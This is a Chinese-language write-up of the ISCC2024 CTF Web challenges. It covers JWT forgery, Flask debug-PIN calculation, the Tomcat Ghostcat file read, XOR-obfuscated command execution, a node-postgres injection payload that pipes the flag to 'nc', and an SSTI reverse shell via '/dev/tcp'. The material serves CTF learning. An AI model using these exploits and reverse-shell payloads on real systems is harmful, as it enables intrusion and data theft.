ISCC2024 Web部分题解
Doris Chan 2024-08-04 14:33:18 阅读 70
目录
Web1 还没想好名字的塔防游戏
Web2 Flask中的pin值计算
Web3 代码审计
Web4 原神启动
Web5 掉进阿帕奇的工资
Web6 这题我出不了了
Web7 回来吧永远滴神
Web1 还没想好名字的塔防游戏
1.打开靶机获取一个游戏
2.先尝试玩几把游戏得到弹窗提示信息
3.根据弹窗提示全局搜索alert找源码,可以找到三条提示信息
<code>Owls Sketch Shadows
Crystal Rivers Sing
Griffins Guard Galaxies
OSSCRSGGG
4.在网页里看到
<code>Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
同样获取大写字母,组合起来就是Flag
ISCC{MDWTSGTMMOSSCRSGGG}
Web2 Flask中的pin值计算
1.打开靶机获取提示信息
2.Ctrl+u查看源码发现base64的编码的字符串,解码得到路径/getusername;
3.访问/getusername进入以下页面,通过不断的尝试最终发现输入“告诉我username“就可以拿到username值为:pincalculate
4.通过不断的测试,输入app之后会再给我们一个提示访问/crawler,出现了一个需要在1秒内计算的公式,使用脚本计算获取路径信息
5.查看网络请求可以发现,页面所需要计算的值是由/get_expression接口传过来的,那么就可以编写脚本来计算,观察experssion发现要对python运算符进行替换
<code>import json
import requests
text = requests.get("http://101.200.138.180:10006/get_expression").text
# 解析JSON字符串
data = json.loads(text)
# 提取表达式
expression = data["expression"]
# 将乘号和除号替换为Python的运算符
expression = expression.replace("\u00d7", "*")
expression = expression.replace("\u00f7", "/")
# 计算表达式的值
result = eval(expression)
# 打印结果
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text
print(text)
输出:
/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode_mac位于/woddenfish
即获取到app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
6.访问接口/woddenfish,无论点击“敲击”多少次一直显示功德不足,查看一下源码拿到jwt,对jwt进行解密。
7.将解密后的donate换成gongde,然后quantity设置一个极大的值,根据源码得知jwt的key是ISCC_muyu_2024
8.用burpsuite抓包,替换Session后重放包得到响应,得到MAC 地址是: 02:42:ac:18:00:02,转换成十进制为2485378351106,下一步提示为/machine_id
<code>“Session”:“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwfQ.n8_a10iVQh-pjbR7vs-kTGcTinX79xPTZTC5zlazHAU”
9.我们继续输入 /machine_id跟进分析,点击VIP会员奖品拿到一个jwt,点SUPERVIP会员奖品无法获取
10.解jwt得:
11.伪造jwt,修改role
<code>from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "vip"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2NDQ3NjAsImlhdCI6MTcxNDY0MTE2MCwianRpIjoiUXpuLU1NN3djRjFzLVh4NlF2V3V0USIsIm5iZiI6MTcxNDY0MTE2MCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.ll_ExDrBzG-hU18i9yCZe6ALPAe0xFXbra6YbKxOWL5r8XBLDrBUxKTdDinDIxFVU6v69UhHmPrQYvKt0iwaxMDxX71h6XWk5PP0DiSc-IcPol-jJjOdDzjJosyEUzeTkxgD_8T55Y3AbPCligDkBq7HhBuz7yAzWRPZTJpXmfo_CVNdpmCSbriQ_FCYqVScwUZZe6RtD63Pqv_ge5RDWBrx4Lb-DDXLyxdwkibJCbr8A35uNLwv2Vlvx9MhcZANEZG3IrilQRh2n55w74gEyCxIhmXDcfRFSQLMupduP9RcRIAllqKKdXzxq97e0ERp8SnlaZA-W0co8lpAfNVPwA'))
使用构造好的jwt传参,/vipprice?token=得到的结果
可获得supervip的secret_key:welcome_to_iscc_club
12.使用https://github.com/noraj/flask-session-cookie-manager中的flask_session_cookie_manager3.py脚本伪造session
13.把构造好的payload替换掉原来的session之后即可获得machine_id为:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
14.至此已获取全部所需信息
<code>username:pincalculate
modname:flask.app
appname:Flask
app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac:2485378351106
machine_id 机器码:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
15.使用以下脚本计算pin值:
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate',
'flask.app',
'Flask',
'/usr/local/lib/python3.11/site-packages/flask/app.py'
]
private_bits = [
'2485378351106',
'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
16.得到pin值,访问http://101.200.138.180:10006/console?pin=252-749-991即可获取flag
Web3 代码审计
1.打开靶机Ctrl+u查看源码
<code>#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip): #初始化任务并创建沙盒目录
self.action = action#要执行的操作
self.param = param#与操作相关的参数
self.sign = sign#用于验证请求的签名
self.sandbox = md5(ip)#基于请求者的 IP 地址生成的 MD5 哈希值创建的目录
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():#检查签名是否有效
if "scan" in self.action:#如果 action 包含 scan,执行扫描操作
resp = scan(self.param)#调用 scan 函数读取文件内容
if resp == "Connection Timeout":#检查是否出现连接超时
result['data'] = resp#将响应数据添加到结果中
else:#否则,处理正常响应
print(resp)#打印响应内容(只会打印在本地控制台,并不会显示在网页中)
self.append_to_file(resp)# 追加内容到已存在的文件
result['code'] = 200
if "read" in self.action:
result['code'] = 200
result['data'] = self.read_from_file() # 从已存在的文件中读取
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self): #验证签名
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():#基于提供的 param 和预定义的 action("scan")生成一个签名
param = urllib.parse.unquote(request.args.get("param", ""))
action = "scan"
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():#根据存储在 cookie 和 get 参数中的 action 和 param 处理一个任务
action = urllib.parse.unquote(request.cookies.get("action"))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():#显示 code.txt 文件的内容
return open("code.txt", "r").read()
def scan(param):
try:
with open(param, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return "The file does not exist"
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def get_sign(action, param):#基于 action、param 和密钥生成签名(哈希值)
return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()
def waf(param):#参数过滤
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run()
2.该Flask 应用程序定义了三个路由:
/geneSign
基于从 get参数中获取的 param 和预定义的 action("scan")生成一个签名
/De1ta
通过cookie获取两个参数action和sign的值,通过get参数中获取参数param的值
创建一个 Task 实例,执行任务并返回结果的 JSON 字符串。
/
访问网站的根路径,调用 index 函数,读取并返回 code.txt 文件的内容
3.由题目可知:
(1)要想读取到flag,self.param应该等于flag.txt,
(2)cookies中的action+get参数中的param加密后要等于cookies中的sign
get_sign(self.action, self.param) == self.sign
md5(secert_key + flag.txt + action) = md5(secert_key + param + scan)
action=readscanparam=flag.txtread
4.首先用路由/geneSign中获取 if (getSign(self.action, self.param) == self.sign) 中sign的值,即构造payload /geneSign?param=flag.txtread
5.然后构造cookie,然后给/De1ta路由的param参数传值为flag.txt就可以拿到最终的flag了
Web4 原神启动
1.打开靶机,Ctrl+u查看源码得到注释:<!-- 熊曰:呋食食既食眠人呆圖雜眠既和性達達嘶笨嗚咬堅很雜性哞呆蜂咯囑溫誒襲出物擊寶山肉很咬吃噤肉嚄擊笨喜蜜擊樣覺嗥家我嘿告嘶魚訴怎捕取襲 -->
2.根据提示信息与熊论道,获取提示信息“草克制水”,则在首页面输入”草“属性
3.进入许愿页面,直接输入flag,发现如下所示给了一个flag.txt
4.访问flag.txt后拿到一个假的flag
5.目录扫描获得路径/docs,访问进入页面获取Apache Tomcat版本为8.5.32,该版本存在CVE-2020-1938 Tomcat任意文件读取漏洞
6.直接在github上获取脚本,使用python2环境执行命令,在WEB-INF/flag.txt下获得flag
<code>python2 CNVD-2020-10487-Tomcat-Ajp-1fi.py 101.200.138.180 -p 8009 -f WEB-INF/flag.txt
Web5 掉进阿帕奇的工资
1.打开靶机进入一个登录页面,注册账号然后登录,发现登陆失败,Ctrl+u查看源码,发现job被隐藏了
2.使用burpsuit传参抓包提交职位信息,新加一个参数job=admin,还是无法登录
3.点击信息重置,通过安全问题信息重置,可以发现当前的身份就是manager了
4.取得manager身份进行登录进入后台页面
5.进入工资页面,测试发现基本工资与绩效进行异或得到预测结果
6.根据异或特性,"]A" 与 "12" 的ASCII 码对应位进行异或得到 "ls",RCE可得到当前目录下的文件
7.执行ls命令看到了一个Docfile文件,编写异或脚本生成“cat Docfile”字符串异或后的值,然后传值给web,可以看到Docfile里面的内容
<code>CH= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789[]!@#$%^&*()_+-=:;"
def xor(a):
xor_payload=[]
for i in range(0,len(a)):
num1 = ord(a[i])^ord("1")
if chr(num1) not in CH:
xor_payload.append("a")
num1 = ord(a[i])^ord('a')
print(chr(num1),end="")code>
continue
print(chr(num1),end="")code>
xor_payload.append("1")
print("")
return "".join(xor_payload)
print(xor(f"cat Docfile"))
image: nginx
container_name: secret.host
volumes:
- ./:/etc/nginx/conf.d/
8.由Docfile中的内容可以猜测flag在 http://secret.host/flag中
利用php -r来获取http://secret.host/flag的内容
payload:
php -r "echo file_get_contents('http://secret.host/flag');"
9.用脚本进行xor
10.传值给web即可获取flag
Web6 这题我出不了了
1.打开靶机进入以下页面
2.点击“关键信息”进入注册入口页面
3.对中间代码进行分析
导入 mysql 和 pg(PostgreSQL)的模块, pg 为7.0.2 版本。
对debug后的内容进行base64解密得到:
<code>fs.readFile('printFlag', 'utf8', (err, data) => {console.log(data);});
Node.js 读取名为 printFlag 的文件,并将其内容作为字符串传递给回调函数的 data 参数。
如果读取文件过程中没有错误,回调函数会将文件内容打印到控制台。
const mysql = require("mysql");
const pg = require("pg"); // use pg@7.0.2
// WAF
const WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter", "truncate", "exec", "xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema","table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name", "\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>", "<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]
//定义一个包含WAF敏感词的数组,检测和阻止SQL注入攻击和其他恶意输入
// debug:
// ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==
// Y29uc29sZS5sb2coZGF0YSk7
// fSk7
4.在此利用node-postgreSQL的漏洞,使用官方脚本,执行远程代码,执行反弹shell命令。
参考:node.js + postgres 从注入到Getshell | 离别歌
<code>from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc ip port`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data);
print r.content
5.同时服务器端使用nc监听端口,即可获得flag
Web7 回来吧永远滴神
1.打开靶机进入以下页面,进行搜索获取相应内容,进行填空
2.输入正确答案提交之后,进入隐藏关卡
3.Ctrl+u查看源码,发现一段base64的编码的字符串,进行解密获得部分flag
4.在隐藏关卡,随便输入“123”后显示:神说:大胆!,输入“{% print ttt %}”后报出其他内容,推测此处是模板注入SSTI,且存在waf
5.使用python的fenjing模块跑脚本,在不获取waf黑名单的情况下生成payload
<code>import functools
import time
import requests
from fenjing import exec_cmd_payload
url= "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'
}
@functools.lru_cache(1000)
def waf(payload: str):# 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})
return "BAD" not in resp.text
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"')
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
6.服务器端使用nc监听端口,使用构造好的payload输入到隐藏关卡页面的输入框,反弹成功,可查看flag[1]和flag[2]源码
7.查看app.py源码,分析代码的加密逻辑,写出解密flag[3]的脚本
<code>from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64
if self.IV:
self.mode = Mode.CBC if iv else Mode.ECB
if len(self.IV) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt_block(self, ct):
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
c0 = b2l(ct[:4])
c1 = b2l(ct[4:])
s = (self.DELTA * self.ROUNDS) & msk
for i in range(self.ROUNDS):
c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ ((c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])
c1 &= msk
c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ ((c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])
c0 &= msk
s -= self.DELTA
return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
s = 0
for i in range(self.ROUNDS):
s += self.DELTA
m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
m0 &= msk
m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
m1 &= msk
return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)
def decrypt(self, ct):
blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt_block = self._xor(X, dec_block)
pt += pt_block
X = ct_block
elif self.mode == Mode.CFB:
X = self.IV
for ct_block in blocks:
output = self.encrypt_block(X)
pt_block = self._xor(output, ct_block)
pt += pt_block
X = ct_block
return unpad(pt, self.BLOCK_SIZE // 8)
if __name__ == '__main__':
# Provided KEY and IV in hexadecimal format
KEY = bytes.fromhex('xxx')
IV = bytes.fromhex('xxx')
CIPHERTEXT = bytes.fromhex('xxx')
cipher = Cipher(KEY, IV)
decrypted_message = cipher.decrypt(CIPHERTEXT)
print(f'Decrypted message: {decrypted_message}')
8.将上述几段flag进行结合得到
<code>I{DSK6Fj7cSHvVBCB9XaC5f_Y*4CI6CFCYm6Gs*}
9.对结合得到的字符串进行栅栏枚举解密即可得到flag
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。